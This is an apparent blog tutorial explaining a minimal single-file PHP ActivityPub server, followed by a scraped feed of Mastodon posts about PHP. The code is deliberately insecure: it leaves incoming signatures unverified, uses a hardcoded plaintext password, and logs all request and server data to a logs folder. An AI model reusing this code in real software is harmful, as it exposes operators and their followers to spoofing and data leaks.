Again, this is not suitable for any real world use. This is an educational tool to help explain the basics of posting messages to the Fediverse. It requires absolutely no dependencies. You do not need to spin up a dockerised hypervisor to manage your node bundles and re-compile everything to WASM. Just FTP the file up to prod and you're done.
This is a quick ramble through the code. It is reasonably well documented, I hope.
This is where you set up your account's name and bio. You also need to provide a public/private keypair. The posting page is protected with a password that also needs to be set here.
PHP
// Set up the Actor's information $username = rawurlencode("example"); // Encoded as it is often used as part of a URl $realName = "E. Xample. Jr."; $summary = "Some text about the user."; $server = $_SERVER["SERVER_NAME"]; // Domain name this is hosted on // Generate locally or from https://cryptotools.net/rsagen // Newlines must be replaced with "\n" $key_private = "-----BEGIN RSA PRIVATE KEY-----\n...\n-----END RSA PRIVATE KEY-----"; $key_public = "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"; // Password for sending messages $password = "P4ssW0rd";
ActivityPub is a "chatty" protocol. This takes all the requests your server receives and saves them in /logs/ as a datestamped text file.
PHP
// Get all headers and requests sent to this server $headers = print_r( getallheaders(), true ); $postData = print_r( $_POST, true ); $getData = print_r( $_GET, true ); $filesData = print_r( $_FILES, true ); $body = json_decode( file_get_contents( "php://input" ), true ); $bodyData = print_r( $body, true ); $requestData = print_r( $_REQUEST, true ); $serverData = print_r( $_SERVER, true ); // Get the type of request - used in the log filename if ( isset( $body["type"] ) ) { $type = " " . $body["type"]; } else { $type = ""; } // Create a timestamp in ISO 8601 format for the filename $timestamp = date( "c" ); // Filename for the log $filename = "{$timestamp}{$type}.txt"; // Save headers and request data to the timestamped file in the logs directory if( ! is_dir( "logs" ) ) { mkdir( "logs"); } file_put_contents( "logs/{$filename}", "Headers: \n$headers \n\n" . "Body Data: \n$bodyData \n\n" . "POST Data: \n$postData \n\n" . "GET Data: \n$getData \n\n" . "Files Data: \n$filesData \n\n" . "Request Data:\n$requestData\n\n" . "Server Data: \n$serverData \n\n" );
The .htaccess changes /whatever to /?path=whateverThis runs the function of the path requested.
PHP
!empty( $_GET["path"] ) ? $path = $_GET["path"] : die(); switch ($path) { case ".well-known/webfinger": webfinger(); case rawurldecode( $username ): username(); case "following": following(); case "followers": followers(); case "inbox": inbox(); case "write": write(); case "send": send(); default: die(); }
The WebFinger Protocol is used to identify accounts.It is requested with example.com/.well-known/webfinger?resource=acct:username@example.comThis server only has one user, so it ignores the query string and always returns the same details.
PHP
function webfinger() { global $username, $server; $webfinger = array( "subject" => "acct:{$username}@{$server}", "links" => array( array( "rel" => "self", "type" => "application/activity+json", "href" => "https://{$server}/{$username}" ) ) ); header( "Content-Type: application/json" ); echo json_encode( $webfinger ); die(); }
Requesting example.com/username returns a JSON document with the user's information.
PHP
function username() { global $username, $realName, $summary, $server, $key_public; $user = array( "@context" => [ "https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1" ], "id" => "https://{$server}/{$username}", "type" => "Person", "following" => "https://{$server}/following", "followers" => "https://{$server}/followers", "inbox" => "https://{$server}/inbox", "preferredUsername" => rawurldecode($username), "name" => "{$realName}", "summary" => "{$summary}", "url" => "https://{$server}", "manuallyApprovesFollowers" => true, "discoverable" => true, "published" => "2024-02-12T11:51:00Z", "icon" => [ "type" => "Image", "mediaType" => "image/png", "url" => "https://{$server}/icon.png" ], "publicKey" => [ "id" => "https://{$server}/{$username}#main-key", "owner" => "https://{$server}/{$username}", "publicKeyPem" => $key_public ] ); header( "Content-Type: application/activity+json" ); echo json_encode( $user ); die(); }
These JSON documents show how many users are following / followers-of this account.The information here is self-attested. So you can lie and use any number you want.
PHP
function following() { global $server; $following = array( "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/following", "type" => "Collection", "totalItems" => 0, "items" => [] ); header( "Content-Type: application/activity+json" ); echo json_encode( $following ); die(); } function followers() { global $server; $followers = array( "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/followers", "type" => "Collection", "totalItems" => 0, "items" => [] ); header( "Content-Type: application/activity+json" ); echo json_encode( $followers ); die(); }
The /inbox is the main server. It receives all requests. This server only responds to "Follow" requests.A remote server sends a follow request which is a JSON file saying who they are.This code does not cryptographically validate the headers of the received message.The name of the remote user's server is saved to a file so that future messages can be delivered to it.An accept request is cryptographically signed and POST'd back to the remote server.
PHP
function inbox() { global $body, $server, $username, $key_private; // Get the message and type $inbox_message = $body; $inbox_type = $inbox_message["type"]; // This inbox only responds to follow requests if ( "Follow" != $inbox_type ) { die(); } // Get the parameters $inbox_id = $inbox_message["id"]; $inbox_actor = $inbox_message["actor"]; $inbox_host = parse_url( $inbox_actor, PHP_URL_HOST ); // Does this account have any followers? if( file_exists( "followers.json" ) ) { $followers_file = file_get_contents( "followers.json" ); $followers_json = json_decode( $followers_file, true ); } else { $followers_json = array(); } // Add user to list. Don't care about duplicate users, server is what's important $followers_json[$inbox_host]["users"][] = $inbox_actor; // Save the new followers file file_put_contents( "followers.json", print_r( json_encode( $followers_json ), true ) ); // Response Message ID // This isn't used for anything important so could just be a random number $guid = uuid(); // Create the Accept message $message = [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/{$guid}", "type" => "Accept", "actor" => "https://{$server}/{$username}", "object" => [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => $inbox_id, "type" => $inbox_type, "actor" => $inbox_actor, "object" => "https://{$server}/{$username}", ] ]; // The Accept is sent to the server of the user who requested the follow // TODO: The path doesn't *always* end with/inbox $host = $inbox_host; $path = parse_url( $inbox_actor, PHP_URL_PATH ) . "/inbox"; // Get the signed headers $headers = generate_signed_headers( $message, $host, $path ); // Specify the URL of the remote server's inbox // TODO: The path doesn't *always* end with /inbox $remoteServerUrl = $inbox_actor . "/inbox"; // POST the message and header to the requester's inbox $ch = curl_init( $remoteServerUrl ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, "POST" ); curl_setopt( $ch, CURLOPT_POSTFIELDS, json_encode($message) ); curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers ); $response = curl_exec( $ch ); // Check for errors if( curl_errno( $ch ) ) { file_put_contents( "error.txt", curl_error( $ch ) ); } curl_close($ch); die(); }
Every message sent should have a unique ID. This can be anything you like. Some servers use a random number.I prefer a date-sortable string.
PHP
function uuid() { return sprintf( "%08x-%04x-%04x-%04x-%012x", time(), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffffffffffff) ); }
Every message that your server sends needs to be cryptographically signed with your Private Key.This is a complicated process. Please read "How to make friends and verify requests" for more information.
PHP
function generate_signed_headers( $message, $host, $path ) { global $server, $username, $key_private; // Encode the message to JSON $message_json = json_encode( $message ); // Location of the Public Key $keyId = "https://{$server}/{$username}#main-key"; // Generate signing variables $hash = hash( "sha256", $message_json, true ); $digest = base64_encode( $hash ); $date = date( "D, d M Y H:i:s \G\M\T" ); // Get the Private Key $signer = openssl_get_privatekey( $key_private ); // Sign the path, host, date, and digest $stringToSign = "(request-target): post $path\nhost: $host\ndate: $date\ndigest: SHA-256=$digest"; // The signing function returns the variable $signature // https://www.php.net/manual/en/function.openssl-sign.php openssl_sign( $stringToSign, $signature, $signer, OPENSSL_ALGO_SHA256 ); // Encode the signature $signature_b64 = base64_encode( $signature ); // Full signature header $signature_header = 'keyId="' . $keyId . '",algorithm="rsa-sha256",headers="(request-target) host date digest",signature="' . $signature_b64 . '"'; // Header for POST reply $headers = array( "Host: {$host}", "Date: {$date}", "Digest: SHA-256={$digest}", "Signature: {$signature_header}", "Content-Type: application/activity+json", "Accept: application/activity+json", ); return $headers; }
This creates a basic HTML form. Type in your message and your password. It then POSTs the data to the /send endpoint.
PHP
function write() { // Display an HTML form for the user to enter a message.echo <<< HTML<!DOCTYPE html><html lang="en-GB"> <head> <meta charset="UTF-8"> <title>Send Message</title> <style> *{font-family:sans-serif;font-size:1.1em;} </style> </head> <body> <form action="/send" method="post" enctype="multipart/form-data"> <label for="content">Your message:</label><br> <textarea id="content" name="content" rows="5" cols="32"></textarea><br> <label for="password">Password</label><br> <input type="password" name="password" id="password" size="32"><br> <input type="submit" value="Post Message"> </form> </body></html>HTML; die(); }
This takes the submitted message and checks the password is correct.It reads the followers.json file and sends the message to every server that is following this account.
PHP
function send() { global $password, $server, $username, $key_private; // Does the posted password match the stored password? if( $password != $_POST["password"] ) { die(); } // Get the posted content $content = $_POST["content"]; // Current time - ISO8601 $timestamp = date( "c" ); // Outgoing Message ID $guid = uuid(); // Construct the Note // contentMap is used to prevent unnecessary "translate this post" pop ups // hardcoded to English $note = [ "@context" => array( "https://www.w3.org/ns/activitystreams" ), "id" => "https://{$server}/posts/{$guid}.json", "type" => "Note", "published" => $timestamp, "attributedTo" => "https://{$server}/{$username}", "content" => $content, "contentMap" => ["en" => $content], "to" => ["https://www.w3.org/ns/activitystreams#Public"] ]; // Construct the Message $message = [ "@context" => "https://www.w3.org/ns/activitystreams", "id" => "https://{$server}/posts/{$guid}.json", "type" => "Create", "actor" => "https://{$server}/{$username}", "to" => [ "https://www.w3.org/ns/activitystreams#Public" ], "cc" => [ "https://{$server}/followers" ], "object" => $note ]; // Create the context for the permalink $note = [ "@context" => "https://www.w3.org/ns/activitystreams", ...$note ]; // Save the permalink $note_json = json_encode( $note ); // Check for posts/ directory and create it if( ! is_dir( "posts" ) ) { mkdir( "posts"); } file_put_contents( "posts/{$guid}.json", print_r( $note_json, true ) ); // Read existing users and get their hosts $followers_file = file_get_contents( "followers.json" ); $followers_json = json_decode( $followers_file, true ); $hosts = array_keys( $followers_json ); // Prepare to use the multiple cURL handle $mh = curl_multi_init(); // Loop through all the severs of the followers // Each server needs its own cURL handle // Each POST to an inbox needs to be signed separately foreach ( $hosts as $host ) { $path = "/inbox"; // Get the signed headers $headers = generate_signed_headers( $message, $host, $path ); // Specify the URL of the remote server $remoteServerUrl = "https://{$host}{$path}"; // POST the message and header to the requester's inbox $ch = curl_init( $remoteServerUrl ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, "POST" ); curl_setopt( $ch, CURLOPT_POSTFIELDS, json_encode($message) ); curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers ); // Add the handle to the multi-handle curl_multi_add_handle( $mh, $ch ); } // Execute the multi-handle do { $status = curl_multi_exec( $mh, $active ); if ( $active ) { curl_multi_select( $mh ); } } while ( $active && $status == CURLM_OK ); // Close the multi-handle curl_multi_close( $mh ); // Render the JSON so the user can see the POST has worked header( "Location: https://{$server}/posts/{$guid}.json" ); die(); }
This is not intended to be used in production. Ever. But if you would like to contribute more simple examples of how the protocol works, please come and play on GitLab.
You can follow the test user @example@example.viii.fi
@d33pjs@infosec.exchange
"Quick" Question: If you would build a new #web #application, what would currently be "the best" development language and/or #framework (#webframework) for that?
"Best" as in reliable, #secure, easy to get personal and future proof?
Would it be #python with #django or #rubyonrails or #php #symfony or something completely different?
@ryuslash@goto.ryuslash.org
I guess I should have an #introduction on here as well:
I'm a programmer and #FreeSoftware enthusiast. I've been using #Linux as my main desktop and #Emacs as my... everything... since 2008. I started off with a lot of distro hopping, my journey took me through #Ubuntu, #Fedora, #Zenwalk, #Gentoo, and #Exherbo before settling on #ArchLinux, now with #Guix on top.
I love writing software in #Lisp (either #CommonLisp or #Scheme or any other), but I don't get enough of a chance to. Except #EmacsLisp, basically all my personal projects end up being written in that. Other than that I've enjoyed writing things in #CSharp, #PHP, #Python, #JavaScript, #Ruby, #Groovy, and several other languages.
My main account is @ryuslash, this is my account for experimenting with self-hosting.
@ApisNecros@ioc.exchange
I was recently approached by a friend who had a website they manage be compromised. They offered to let me take a look at some of the files left behind by the attacker. In today's blog post, I go over my methods for deobfuscating a staging script they used.
#hacking #MalwareAnalysis #ReverseEngineering #PHP #CyberSecurity #InfoSec #IndieWeb #SmallWeb
https://www.vzqk50.com/blog/deobfuscating-a-malware-stager/
@ale@social.manalejandro.com
De verdad no programéis nunca cosas serias en #PHP, y si lo hacéis quitad los warning por favor.
@buddhawilliams@eigenmagic.net
Figure I should do a new #introduction post since I just realised the old one was now incorrect.
I'm a #PHP coder, a tuba, piano, and guitar player, and a single parent of an incredible teenager who makes me proud everyday.
I love computer games, though #minecraft gets most of my attention. I host servers for my teenager and their friends.
I'm cis/het and very welcoming to any and all.
I will toot about whatever comes to mind, probably mostly personal stuff with the occasional retoot of things I feel need spreading. Very little coherence I'm afraid.
@hongminhee@todon.eu
I'm considering switching my single-page personal website on GitHub Pages to #PHP for multilingual support.
I know, it sounds weird, but I believe PHP still isn't that bad for a one- or two-page website where you want to put some simple server-side functionality (like content negotiation).
@stefanzweifel@phpc.social
Never wrote one before, so here's an #introduction:
I‘m Stefan. I call my self a Full Stack Developer and have been writing code for the last 15 years. Mostly #PHP with #Laravel. Sometimes #vue or #svelte.
Love writing open source packages that solve a particular problem well. I also write long blog posts about how I use certain software on https://stefanzweifel.dev.
When not glued to the desk, I'm enjoying nature, in the gym or in my kitchen cooking or baking for friends and family.
👋
@shaedrich@mastodon.online
#amProgramming #amCoding #introduction: Hi! 👋🏻
I don't just juggle "real" languages a lot, I also utilize scripting and programming languages to make a living. I'm a #FullStack #developer for 14 years, 9 of them professionally (6 if you exclude the apprenticeship), using #laravel as backend and am always exited for progress in #ECMAScript as well as how to write better code. I also code in my spare time when I'm not writing or editing.
1/
#PHP
@satopian@misskey.io
misskey.io以外のMisskeyサーバにも対応しました。
Mastodonは…。サーバごとにAPIを登録する必要があるみたいなので、実装しないかも?
#petitnote_for_misskey
#お絵かき掲示板 #お絵かき掲示板の開発 #PHP
RE: https://misskey.io/notes/9h9fzl75ge
@satopian@misskey.io
3日で、お絵かき掲示板のお絵かきアプリから、直接Misskeyに画像付きノートができるようになりました。
このバージョンは掲示板には投稿せずひたすらMisskey.ioに投稿するためのものです。
Tegaki_dtさんと競合するアプリになりますが、ぜひ使ってみていただけないでしょうか。
#お絵かき掲示板の開発 #お絵かき掲示板
https://paintbbs.sakura.ne.jp/misskey/
@kalvn@mastodon.xyz
Je profite de la vague d'arrivage pour faire mon #introduction que je n'ai jamais vraiment faite finalement :)
Je suis dev, principalement web depuis maintenant une douzaine d'années. J'ai commencé avec #PHP et la stack #WAMP comme beaucoup, un petit passage forcé et douloureux par .NET et maintenant principalement du #JavaScript (avec Vue) #NodeJS et un peu de #Mule
Au delà de tout ça, j'aime les jeux vidéos (BotW et TotK sont en haut de ma liste), le #cinéma, la #moto et les bouquins :)
@kix2902@masto.kix2902.dev
Ahora que parece que la migración a mi instancia se ha completado es el turno de presentarme...
Me gano la vida como programador #Android tanto con #Kotlin como con #Java, aunque también "domino" otros lenguajes como #PHP o #Javascript y me defiendo con #Swift, #C y otros muchos. También me peleo con mi servidor, y poco a poco voy pasándome al #selfhosting.
Me gusta la #música (casi cualquier género), el #cine (sobre todo terror y ciencia-ficción) y las #series (ciencia-ficción mayormente).
@satopian@misskey.io
Misskeyのような高度に発達したスクリプトはまったくわかりませんが、20年前に最前線だった #お絵かき掲示板 のようなものを50%ぐらい自力で作っています。
利用者がいないと意味をなさない作業です。
個人サイトに簡単に設置が可能→アップロードしたらもうすべての機能が利用可能だったりしますので、よろしくお願いします。
#お絵かき掲示板 #GitHub #PHP
お絵かき掲示板のお絵かきアプレット部分は他の作者様のものを使っています。
#PaintBBSNEO #ChickenPaint #チキンペイント #klecks
RE: https://misskey.io/notes/9e9t7ihlbn
@satopian@misskey.io
お絵かき掲示板を設置したい人はいませんか。
お絵かきアプリですべてHTML5で最新のブラウザで動きます。
スクリプトはMIT LICENSEで無償で使えてLICENSEの範囲で改造・再配布も可能です。
実際に導入している #お絵かき掲示板 の交流サイト
https://paintbbs.sakura.ne.jp/
#ガルパン #エロマンガ先生 #だがしかし #遠藤さや
RE: https://misskey.io/notes/9e9t0u8gkz
@satopian@misskey.io
Petit Note v0.68.5リリース
https://github.com/satopian/Petit_Note/releases/latest
通常画面とカタログ画面のメモリ消費量を27%削減する事に成功しました。(運営している掲示板の実測値)
#お絵かき掲示板 #お絵かき掲示板PHPスクリプト #PHP #GitHub
@54gradsoftware@norden.social
Moin, wir sind #neuhier und eine kleine Softwareentwicklungsfirma aus #Flensburg. Unser Schwerpunkt liegt auf Webentwicklung mit #vuejs #javascript #php und vielem mehr. Wir lieben Open Source Technologien und sind auch pro bono aktiv.
Mehr Infos auf unserer Website https://54gradsoftware.de/
Die Toots kommen hauptsächlich von @sabrinkmann
@stefan@stefankoopmanschap.nl
Tijd voor een #introduction hier: Ik ben Stefan, woon in #woudenberg, heb samen met mijn vrouw Marjolein en onze compagnon Mike een bedrijf in software ontwikkeling (voornamelijk #PHP) en daarnaast maak ik podcasts voor KINK.nl. Ik hou van lezen, gamen, muziek en politiek (ik zit vrij links in het politieke spectrum).
@fedex6@mastodon.social
RE #introduccion
[Por mudanza de cuenta]
#Argentino, amante de la #tecnologia, del #automovilismo, #basket y de #musica escucho mas que nada Rock y sus variantes (mas cercanas, nada experimental jaja), Metal y Grunge.
Actualmente trabajo como developer para una empresa, principalmente me encargo del CRM, que esta hecho enteramente por mi en #HTML, #CSS, #JS, #PHP y #MySQL.
Tambien he hecho cosas en #Python para el trabajo, principalmente para IoT con una Raspberry.
Y fan de !
@kjg@hachyderm.io
Hey everyone 👋 here’s my #introduction
I’m a software engineer at GitHub working on the most impressive metered usage billing system around. My favorite dev languages are #ruby and #javascript, but I venture into #go and #php too.
I’m a dad of 2 and disability advocate currently running for election to my local school board.
Thanks to @nova and the #hachyderm crew for running this server. The open source web and ruby community are what drew me into development, so I love how this is run.
@ampersarnie@mastodon.social
I’ve been putting it off but it’s about time I did an #introduction.
So, hi all!
As a #dad of one, my little boy is everything.
I’m an #EngineeringManager at https://bigbite.net where I primarily focus on #editorial workflows, #EditorialTools and in-house tooling. Working with #PHP #Javascript and #TypeScript and a variety of #FrontEnd tech built on top of #WordPress for the most part.
I’ve been putting off working on my personal site for years. Put it down to laziness.
(1/2)
@kevin@dice.camp
@lordmatt@mastodon.social
I'm going to take another crack at an #introduction.
I'm a nerd from #Thanet #Kent #UK. I'm okay telling you this because at this stage the entire Internet knows.
I run a bunch of #websites which I talk about a lot.
Interested in connecting with #PHP & #WordPress devs, people into #Storytelling, other #bloggers, and any weirdos who may think my writing is actually funny.
If I'm not writing, coding, or watching nerdy TV, then I am probably asleep.
#Mastodon is now my primary #SocialMedia
@cordelya@toots.cordelya.net
#Introduction en Français:
Je suis amateur de programmation et micro-électroniques. D'habitude, je me spécialise dans #php et #python.
Je fais beaucoup de projects avec des ordinateurs monocartes et #CircuitPython.
J'aime apprendre, faire et enseigner les arts et les sciences pré-industriels et passer des week-ends vêtus de drôles de vêtements lors d'événements #SCA.
Je suis situé dans le centre-sud de la PA USA depuis 2018.
J'ai commencé à apprendre le français en nov 2020 avec #Duolingo.
@cordelya@toots.cordelya.net
#introduction (rewrite)
I'm a development & micro-electronics hobbyist who specializes in #php and #python for the most part.
I do a lot of projects using single-board computers and a bit also with #CircuitPython gadgets.
Games I enjoy: #minecraft, #OxygenNotIncluded, #Fallout & #Skyrim
I also enjoy learning, doing, and teaching pre-industrial #arts & sciences and I spend some weekends in funny clothes, hanging out with people at #SCA events.
Located in south-central #PA (USA) since 2018.
@kimai@phpc.social
My name is #Kimai and this is my #introduction:
I am an #opensource time-tracking software, written in #PHP and available under the AGPL license, as on-premise and SaaS version.
My main focus is project time-tracking, invoicing billable hours, reporting, teams ... and there are dozens of plugins available, adding features like Expense and Task management, Kiosk mode, overtime and vacation tracking.
Check out a demo at https://www.kimai.org/demo/

@JosephLeedy@phpc.social
I guess it’s my turn for an #introduction. 👋🏽
My name is Joseph, or Seph if you must, but please don’t call me Joe. I’ve been doing Web development as a hobby since 1999, #PHP since 2002, and I’ve been a professional #Magento developer since 2011.
In my free time, I can be found either watching #motorsports or riding my #motorcycle. I also love to #travel, and I try to take a trip to Europe once a year. So far I’ve visited Austria, Belgium, England, Germany, Italy, Netherlands, Scotland,Wales.
@maccath@phpc.social
I didn't make an #introduction yet, so here you go.
👋 I'm Katy aka Maccath (she/her) - a geeky software engineer and international tech conference speaker from the #UK. I'm #pagan and #ADHD.
As a professional, I enjoy #programming (primarily with #PHP), and refactoring #LegacyCode.
In my free time I enjoy #gaming - both #VideoGames and #BoardGames. I also enjoy #gardening, reading #tarot, and studying #Japanese.
@jeff@phpc.social
Hello! I'm Jeff, a software architect near L.A.
From 1994-96 I ran a dialup #bbs with >1,000 users sharing 8 lines (oof). By the end it provided MINIX shell accounts + Internet email via FIDO. I've been online ever since.
I've been building Cerb.ai (formerly Cerberus Helpdesk) in #php + #mysql full-time for nearly 21 years. 1000s of teams use it for high-volume shared webmail + workflow automation.
I'm also interested in #aws #docker #machinelearning #german #boardgames
@davidshq@hachyderm.io
Software Engineer. Insatiable learner across an eclectic collection of topics: #coding, #psychology, #history, #philosophy, #religion / #spirituality, #socialjustice, etc.
Introvert, but friendly. Slowly working towards building a #searchengine to replace #google.
Live in #georgia, from upstate #newyork.
Currently working on #enterprise #search; these days I primarily code in #python and #typescript

@BeeTurland@phpc.social
Hi there! I'm Bee. This is my #introduction.
I am a disabled mom of 5 kids. I have #EhlersDanlosSyndrome and #POTS. I am a #disability advocate.
My "day job" (although it's a volunteer position) is as a co-organizer of #LonghornPHP. I am a "baby developer" who's just learning to code, but I absolutely LOVE the #PHP community. It's like a big family!
When not conference organizing, I enjoy reading, #karaoke, and crafts (including #Crocheting , #CrossStitch , and #LoomKnitting).
@elazar@phpc.social
Hi there! I'm Matt. This is my #introduction.
I have been in #SoftwareDevelopment since 2001 and spent most of my career working with #PHP and #JavaScript.
I also dabble with languages like #Lisp and aspire to learn more about #FunctionalProgramming.
I love #OpenSource, #OpenStandards, and #ComputerScience.
When not coding, I enjoy reading (#SciFi / #SFF in particular), writing, singing / #karaoke, and story- and strategy-focused #gaming.
@rebornmedia@fosstodon.org
So a quick #introduction. I am Ally from the UK. I run a small web design company. I love all things web (#php, #javascript, #wordpress, #modx, #laravel).
Married with 2 kids. Love playing, coaching football, and building gadgets, models and small programming projects (#raspberrypi, #arduino)
@ElectricDoorknob@mastodon.world
#introductions Hi, I'm Nik, a nerd from the US #westcoast now in CA w/ my lovely wife. I ❤️ #opensource, #music, #films, #gaming, & #TTRPGs. Currently learning to play #guitar and speak #Italian
@ work, I'm a #webdeveloper for #RiffTrax where we make jokes over bad movies and sell them. #drupal #php #react
I suffer from #depression but have found effective treatment, and advocate for openness about #mentalhealth
I toot about things that amuse or entertain me
Pleased to meet you!

@dgoosens@phpc.social
hello!
late #introduction
I'm Dmitri, Belgian #php dev for about 20 years
Since 4 years very in love with #DDD which was a real revelation to me...
The missing link between Business, Architecture and Code
I prefer backend work (really don't enjoy frontend)
Work a lot with #symfony and very fond of @ApiPlatform which is, to me, the perfect stack to express my art/code.
also:
- #podcast addict
- #OSS enthusiast
- [belgian] beer lover
- drink too much coffee
- love walking in nature
@lucp@toot.re
Okay, as an overdue #introduction I'm Luc (he/him), a #developer from the Netherlands with a passion for #opensource. I work a lot with #php and #javascript.
When I'm not working I'm usually running a game of #dnd or caring for my #autistic special-needs kid :)
@ellotheth@bsd.network
I've officially moved over here from @ellotheth@mastodon.technology (and everybody go follow @ashfurrow@masto.ashfurrow.com because he's been a super admin and generally great guy), so it's #introductions time again
I'm mostly a software engineer and #videogamer, with tangents to #cycling/#running, failing to learn #Norwegian, and otherwise wasting a perfectly good B.Mus in #violin performance. I was a #moonkin (SERVER FIRST ALGALON 10), and now I'm a magical space zombie (#destiny2) and sometimes a Viking zombie (#valheim). @pamela is awesome.
#gaming #gameing
#linux #vim #bash #git
#c #golang #php #mobx #reactjs
#weHappyFew #farLoneSails #outward #vampireSurvivors #vRising
#immigrant #expat #norway #norsk
#dogs #coffee #vo2max #gravelCycling #uciwwt #trainerRoad
#starwars (#DarkForces was one of my first video games, I read the 90s-era EU novels obsessively, Rey is not a marysue, #theLastJedi is flawed but I loved it and I will not fight you because I'm just so tired now)
#scifi #asimov #JackMcDevitt #NKJemisin #AnneLeckie #scalzi
#theWestWing #tww #hamilton #btvs
#feminism #transWomenAreWomen #christian

@alis@fandom.ink
I'm Alis! I'm an #SFF #author and I love #monsters so write books about them (kissing). I also sometimes (very rarely) draw, and (mostly) play too much #FFXIV.
I'm also the admin of fandom.ink, a #fandom centric Masto instance, inspired by the #tumblr exodus and aimed at #fanart, #fanfic, #RP, and other general fannish content.
When I'm not doing that, I'm probably writing bad #php for #oldweb sites, reading too much #danmei, or playing #DnD.
@Sergio@fosstodon.org
Sustainability enthusiast following #Permaculture, #Gardening, #Beekeeping, #NaturalBuilding, and #WaterHarvesting to name a few...
Also working, mostly, on #WordPress as a consultant. Been using #Linux almost exclusively since the late 90s (yikes!) and love #OpenSource.
Trying to up my #PHP, #JavaScript, and general #WebDev game.
I have an amazing #CockerSpaniel 🐶

@carbontwelve@phpc.social
#introductions Hi! I have been paying my bills programming in PHP for over a decade with WP being what got me into the language originally.
I have a number of personal projects that I work on with the PHP Plates based static site generator Tapestry https://github.com/tapestry-cloud/tapestry being the one that consumes the most spare time.
I thoroughly enjoy working with, and helping others and would very much like to be more involved in the PHP community at large.